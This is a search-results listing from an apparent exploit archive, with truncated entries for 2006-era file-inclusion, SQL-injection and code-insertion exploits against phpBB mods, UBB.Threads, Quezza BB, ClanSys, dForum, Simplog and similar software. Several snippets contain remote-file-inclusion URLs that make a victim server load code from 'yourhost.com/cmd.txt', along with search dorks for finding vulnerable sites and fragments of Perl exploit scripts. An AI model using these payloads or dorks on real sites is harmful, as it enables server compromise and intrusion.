89 matches found
Activity MOD Plus 1.1.0 - 'phpBB Mod' File Inclusion
phpBB 2.x Activity MOD Plus File Inclusion Vulnerability Contacts ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploits works on phpBB 2.x Activity MOD Plus Original advisory can be found at: http://www.nukedx.com/?viewdoc=38 Succesful exploitation needs registerglobals on GET ...
UBBCentral UBB.Threads 5.x/6.x - Multiple Remote File Inclusions
UBBThreads 5.x,6.x Multiple File Inclusion Vulnerabilities Contacts ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploits works on UBBThreads 5.x,6.x Original advisory can be found at: http://www.nukedx.com/?viewdoc=40 Succesful exploitation registerglobals on Version 6.x GET -...
Quezza BB 1.0 - 'quezza_root_path' File Inclusion
Quezza BB ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploit works on Quezza BB = 1.0 Original advisory can be found at: http://www.nukedx.com/?viewdoc=30 http://victim/QuezzaPath/includes/classtemplate.php?quezzarootpath=http://yourhost.com/cmd.txt?...
Quezza BB <= 1.0 (quezza_root_path) File Inclusion Vulnerability
No description provided by source. Quezza BB = 1.0 quezzarootpath File Inclusion Vulnerability. Method found by nukedx, Contacts ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploit works on Quezza BB = 1.0 Original advisory can be found at: http://www.nukedx.com/?viewdoc=30...
Quezza BB 1.0 - quezza_root_path File Inclusion
Quezza BB 1.0 - quezzarootpath File Inclusion Quezza BB ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploit works on Quezza BB = 1.0 Original advisory can be found at: http://www.nukedx.com/?viewdoc=30...
Advanced GuestBook <= 2.4.0 (phpBB) Remote File Inclusion Exploit
Exploit for unknown platform in category web applications ================================================================= Advanced GuestBook if @ARGV ne 3 else sub header print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n"; print "+ Advanced GuestBook for...
BK Forum <= 4.0 (member.asp) Remote SQL Injection Vulnerability
Exploit for unknown platform in category web applications =============================================================== BK Forum = 4.0 member.asp Remote SQL Injection Vulnerability =============================================================== BK Forum = 4.0 Remote SQL Injection by n0m3rcy...
Clansys <= v.1.1 (index.php page) PHP Code Insertion Vulnerability
No description provided by source. NukedX Security Advisory Nr 2006-29 ClanSys v1.1 index.php page PHP Code Insertion Vulnerability Method found & Exploit scripted by nukedx Contacts ICQ: 10072 MSN/Main: [email protected] web: www.nukedx.com Original advisory: http://www.nukedx.com/?viewdoc=29...
Clansys 1.1 - 'index.php' PHP Code Insertion
NukedX Security Advisory Nr 2006-29 ClanSys v1.1 index.php page PHP Code Insertion Vulnerability Method found & Exploit scripted by nukedx Contacts ICQ: 10072 MSN/Main: [email protected] web: www.nukedx.com Original advisory: http://www.nukedx.com/?viewdoc=29 Dork: "ClanSys v.1.1" 2.400 pages. Fu...
Clansys <= v.1.1 (index.php page) PHP Code Insertion Vulnerability
Exploit for unknown platform in category web applications ================================================================== Clansys GET - http://victim/ClanSysPath/index.php?page=PHPCode EXAMPLE - http://victim/ClanSysPath/index.php?page=&s=http://yourhost.com/cmd.txt? 0day.today 2018-03-19...
Clansys 1.1 - index.php PHP Code Insertion
Clansys 1.1 - index.php PHP Code Insertion NukedX Security Advisory Nr 2006-29 ClanSys v1.1 index.php page PHP Code Insertion Vulnerability Method found & Exploit scripted by nukedx Contacts ICQ: 10072 MSN/Main: [email protected] web: www.nukedx.com Original advisory:...
My Gaming Ladder Combo System 7.0 - Remote Code Execution
My Gaming Ladder Combo System 7.0 - Remote Code Execution !/usr/bin/perl Method found & Exploit scripted by nukedx Contacts ICQ: 10072 MSN/Main: [email protected] web: www.nukedx.com Original advisory: http://www.nukedx.com/?viewdoc=28 Usage: ladder.pl Dork: "Ladder Scripts by...
[Full-disclosure] dForum <= 1.5 Multiple Remote File Inclusion Vulnerabilities.
--Security Report-- Advisory: dForum = 1.5 Multiple Remote File Inclusion Vulnerabilities. --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 21/04/06 23:17 PM --- Contacts: ICQ: 10072 MSN/Email: [email protected] Web: http://www.nukedx.com --- Vendor: dForum http://didj.de.vu/...
My Gaming Ladder Combo System <= 7.0 Remote Code Execution Exploit
Exploit for unknown platform in category web applications ================================================================== My Gaming Ladder Combo System ICQ: 10072 MSN/Main: email protected web: www.nukedx.com Original advisory: http://www.nukedx.com/?viewdoc=28 Usage: ladder.pl Dork: "Ladder...
My Gaming Ladder Combo System 7.0 - Remote Code Execution
!/usr/bin/perl Method found & Exploit scripted by nukedx Contacts ICQ: 10072 MSN/Main: [email protected] web: www.nukedx.com Original advisory: http://www.nukedx.com/?viewdoc=28 Usage: ladder.pl Dork: "Ladder Scripts by http://www.mygamingladder.com" 40.500 pages. use IO::Socket; if@ARGV \r\n";...
dForum <= 1.5 (DFORUM_PATH) Multiple Remote File Inclusions
No description provided by source. dForum = 1.5 DFORUMPATH Multiple Remote File Inclusion Vulnerabilities. Method found by nukedx, Contacts ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploit works on dForum = 1.5...
dForum 1.5 - DFORUM_PATH Multiple Remote File Inclusions
dForum 1.5 - DFORUMPATH Multiple Remote File Inclusions dForum ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploit works on dForum about.php admin.php anmelden.php closethread.php config.php delpost.php delthread.php dfcode.php download.php editanoc.php forum.php login.php...
Simplog 0.9.3 - tid SQL Injection
Simplog 0.9.3 - tid SQL Injection !/usr/bin/perl Method found & Exploit scripted by nukedx Contacts ICQ: 10072 MSN/Main: [email protected] web: www.nukedx.com Original advisory: http://www.nukedx.com/?viewdoc=25 Usage: simplog.pl use IO::Socket; if@ARGV != 2 usage; else exploit; sub header print...
Simplog <= 0.9.3 (tid) Remote SQL Injection Exploit
Exploit for unknown platform in category web applications =================================================== Simplog use IO::Socket; if@ARGV != 2 usage; else exploit; sub header print "\n- NukedX Security Advisory Nr.2006-25\r\n"; print "- Simplog \r\n"; print "- - Victim's host ex:...
dForum <= 1.5 (DFORUM_PATH) Multiple Remote File Inclusions
Exploit for unknown platform in category web applications =========================================================== dForum about.php admin.php anmelden.php closethread.php config.php delpost.php delthread.php dfcode.php download.php editanoc.php forum.php login.php makethread.php menu.php...